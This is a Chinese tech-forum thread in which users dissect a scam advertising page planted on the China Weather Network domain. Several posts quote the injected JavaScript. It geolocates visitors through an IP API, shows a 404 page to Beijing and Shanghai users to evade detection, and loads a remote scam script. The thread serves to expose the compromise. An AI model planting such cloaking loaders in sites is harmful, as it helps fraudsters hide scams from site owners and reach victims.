中国天气网域名下居然会有这样的页面

404

怎么那么像 b 乎呢

@SimonOne 可能要翻，是不是你有规则识别了 cn 页面不翻
是一个套路以债抵债的宣传页，还做成了知乎问答的样式

@SimonOne 可以打开，应该是被黑了，插入一个类知乎的骗子广告页面。

@czfy 跟前几年的课本链接是黄网一样.应该是之前合作的厂商域名被买走了,这些地方也没人去维护

@czfy #3 代理看见了

骚操作

页面里用 js 调用腾讯新闻的 ip 转地理位置接口来判断用户在哪个城市： https://r.inews.qq.com/api/ip2city?otype=jsonp&callback=callback&callback=wea_%20=&_=1652257980798

然后如果用户 ip 是北京和上海的话，就跳中国天气网的 404 页面。
if (wea_.city.indexOf('\u5317\u4eac\u5e02') != -1 ||wea_.city.indexOf('\u4e0a\u6d77\u5e02') != -1 ) {document.writeln("<frameset cols=\"100%\"><frame src=\"http://www.weather.com.cn/404\" ></frameset>

京沪用户查看就是 404 ，其他地区查看就是骗子页面，这逃避站长检查也真是粗糙。

可能是在做 SEO ？
可以搜
site:http://www.weather.com.cn/hexun/
site:http://www.weather.com.cn/hexun/szhkyuqi/

@nosmile #9 垃圾百度和 google 、bing 的差距显而易见了，垃圾百度啥都没有

见过很多次了，啥内容都有，有些跳 404 ，有些不跳，估计是做 SEO ，胡乱采集，连垃圾广告也采集上来了

图片的域名似乎都是 122law.com 的，看着是这个律师事务所提供的服务么。

谷歌内容竟然全是卖翡翠的。。。

t/883635
中国天气网这是怎么了？

都有这样的内容 还不直接封域名？封服务器

@SimonOne

<script type="text/Javascript" src="https://r.inews.qq.com/api/ip2city?otype=jsonp&callback=callback&callback=wea_%20=&_=1652257980798"></script><script type="text/Javascript">if (wea_.city.indexOf('\u5317\u4eac\u5e02') != -1 ||wea_.city.indexOf('\u4e0a\u6d77\u5e02') != -1 ) {document.writeln("<frameset cols=\"100%\"><frame src=\"http://www.weather.com.cn/404\" ></frameset>");
document.title = '\u5929\u6c14\u7f51';} </script>
<script src="https://tqwluodiye.baohongbao.net/yuqi/yuqi.js"></script>

还限制了城市..估计怕官方看到, 哈哈哈哈

ICP 备案主体信息
ICP 备案 /许可证号：京 ICP 证 010385 审核通过日期：2019-08-13
主办单位名称：北京维艾思气象信息科技有限公司 主办单位性质：企业
ICP 备案网站信息
ICP 备案 /许可证号：京 ICP 证 010385-2 网站域名：weather.com.cn

运营商劫持, 黑产了. 网上有专门卖这种运营商流量的

@tcsky 我看错了 这个好像不是

明显是被劫持了。

这网站竟然还不支持 HTTPS

二级目录出租生意而已，全是诈骗在用

就是在做 SEO ，有些黑帽手法，并不是劫持流量，付费的价格超出很多人的想象。疫情当前，很多网站变现困难。
我有客户也和他们合作，就是文中的正主。

只有 @nosmile 、 @eason1874 、 @ye4241 判断正确。

黑帽 seo ，webshell ，挂外链。

@Xusually

https://r.inews.qq.com/api/ip2city?otype=jsonp&callback=callback&callback=wea_%20=&_=1652257980798
我也调用这个判断用户城市可以吧.

https://r.inews.qq.com/api/ip2city
不知道有什么参数可以获取 ip4

建议报告 https://www.cert.org.cn

实测 是假装在做 seo 采集内容 实际给骗子做广告，列表中正常内容跳 404 。广告正常访问 有网贷逾期 有翡翠售卖

我说怎么跳 404 了，原来是做了地址判断，这些恶心的玩意其实还在

看了下，具体打开黑产广告的是这个脚本： https://tqwluodiye.baohongbao.net/yuqi/yuqi.js
这个域名的备案信息都能查到，不怕被抓吗？

@maketime4life 备案都是买的 找不到真人的

@aijialefu #30 那要抓就这个人倒霉了。。。

黑产类 SEO ，谷歌一搜一点灰黑产关键字，大把的正规网站，gov 网企业网，都有这些个玩意

@holyssss #32 这已经不是光 SEO 了，还得把这些带 js 的垃圾网页放到这些网站的二级域名下，鬼知道他们是怎么把这些垃圾网页放进去的，要么有内鬼，要么就是被黑了

@maketime4life 批量扫漏洞关键字，绕过漏洞过后拿到 webshell 插入 js 。